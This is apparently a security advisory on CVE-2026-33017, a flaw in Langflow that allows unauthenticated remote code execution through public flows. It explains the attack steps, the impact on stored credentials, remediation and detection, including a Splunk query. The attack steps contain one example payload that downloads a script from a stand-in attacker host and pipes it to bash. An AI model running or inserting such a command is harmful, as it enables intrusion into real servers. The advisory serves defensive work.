CVE-2026-33017: Langflow Code Injection -- Unauthenticated RCE via Public Flows

Background

Langflow is an open-source, low-code development platform for building AI-powered workflows and LLM (Large Language Model) applications. It provides a visual drag-and-drop interface for constructing “flows” — chains of LLM calls, tool invocations, data transformations, and custom Python code — and is widely used by developers and organisations to prototype and deploy AI agents and automation pipelines.

Langflow’s core value proposition includes the ability to incorporate custom Python code components within flows, which is precisely what makes this vulnerability so dangerous. When Langflow is deployed in configurations that allow public, unauthenticated access to flow execution — which may be the default or common deployment pattern for teams wanting to share AI demos or internal tools — that code execution capability becomes a direct path to RCE. CISA added CVE-2026-33017 to the KEV catalogue on 2026-03-25, reflecting active exploitation.

Technical Mechanism

Langflow allows users to build flows that include a “Python Code” component — a node in the visual pipeline that executes arbitrary Python code as part of the workflow. This is a legitimate feature for building custom AI logic.

CVE-2026-33017 exploits the combination of two conditions:

1. Public flow access: When Langflow is configured to allow building or running flows without authentication (a “public” deployment mode)
2. Code execution in flows: The Python Code component executes code server-side with the privileges of the Langflow process

The attack flow is as follows:

1. An attacker identifies an internet-accessible Langflow instance in public/unauthenticated mode
2. The attacker accesses the Langflow UI or API without authentication
3. The attacker creates (or accesses an existing) flow and adds or modifies a Python Code component with a malicious payload (e.g., import os; os.system('curl attacker.com/shell.sh | bash'))
4. The attacker triggers flow execution via the UI or API
5. The Python code executes server-side under the Langflow process context
6. The attacker achieves a reverse shell or other persistent access

Alternatively, the attacker may not need to create a new flow — if existing public flows already contain Python Code components, injecting malicious code into those components may be possible.

Real-World Exploitation Evidence

CVE-2026-33017 was added to CISA KEV on 2026-03-25. The exploitation of AI/ML development platforms has become an increasingly active area:

• Cryptomining campaigns — AI platform servers with high CPU/GPU resources are attractive targets for cryptomining malware; several campaigns targeting Jupyter, Airflow, and similar platforms have been documented
• Data exfiltration — Langflow deployments may have access to LLM API keys (OpenAI, Anthropic, etc.), vector databases containing proprietary data, and other AI infrastructure credentials
• Lateral movement — Langflow servers in corporate environments typically have network access to databases, APIs, and internal services, making them useful pivot points
• The public nature of many Langflow deployments (intended for demo sharing or team collaboration) means many instances may be internet-accessible, expanding the attack surface

This follows a pattern of exploitation against AI development tools that have powerful code execution features with insufficient authentication defaults.

Impact Assessment

An unauthenticated attacker who reaches a publicly accessible Langflow instance can achieve immediate server-side Python code execution with the privileges of the Langflow process by building and running a flow containing a malicious Python Code component. In addition to full control of the Langflow host, the attacker gains access to every credential configured within the platform: LLM provider API keys (OpenAI, Anthropic, and others), vector database connections, and any environment variables or secrets injected into the Langflow environment. These credentials are often high-value and expensive to rotate across the dependent AI infrastructure.

The organisational impact is amplified by two factors specific to Langflow deployments. First, Langflow servers frequently have network access to internal APIs, databases, and services because they are designed to orchestrate connections between components — making the Langflow host a useful pivot point for lateral movement into the broader internal network. Second, LLM API key theft has direct financial consequences: stolen keys can be used to run up significant API costs or to exfiltrate proprietary data from vector stores and retrieval-augmented generation pipelines. Organisations using Langflow to power customer-facing AI features or internal automation face potential data exposure of the information those pipelines process.

Affected Versions

Consult the Langflow GitHub repository and security advisories for specific version information.

Remediation Steps

1. Apply the Langflow patch immediately
2. Enable authentication on all Langflow deployments — public access without authentication should be disabled
3. Add LANGFLOW_AUTO_LOGIN=false and configure proper user authentication in the Langflow environment
4. Restrict Langflow access to trusted internal networks or VPN-only access via firewall rules
5. If Langflow is exposed to the internet, place it behind a reverse proxy with authentication (e.g., Nginx with basic auth or OAuth2 Proxy)
6. Audit existing flows for any Python Code components with suspicious content
7. Rotate all API keys accessible to the Langflow environment (LLM provider keys, database credentials, etc.)
8. Review server logs for unexpected code execution events or outbound connections from the Langflow process
9. Consider whether Langflow needs to be internet-accessible at all — most legitimate use cases can operate on internal networks

Detection Guidance

Langflow application logs — look for:

• Flow creation or modification events by unauthenticated users
• Python code execution events containing suspicious patterns (network calls, subprocess invocations, file writes)
• Requests to the flow execution API from unexpected external IP addresses

OS-level indicators:

• Unexpected child processes spawned by the Langflow Python process
• Outbound network connections from the Langflow host to unknown external IP addresses
• New files created in /tmp or the Langflow workspace directory

SIEM query example (Splunk):

index=application_logs sourcetype=langflow
| search action="flow_run" OR action="code_execute"
| where isnull(user) OR user=""
| stats count by src_ip, flow_id, action
| sort -count

LLM API usage monitoring:

• Unexpected spikes in LLM API usage (tokens consumed) that don’t correspond to legitimate user activity
• API calls from Langflow using keys that should be idle

Timeline

References

• NVD — CVE-2026-33017
• CISA KEV — CVE-2026-33017
• MITRE CVE — CVE-2026-33017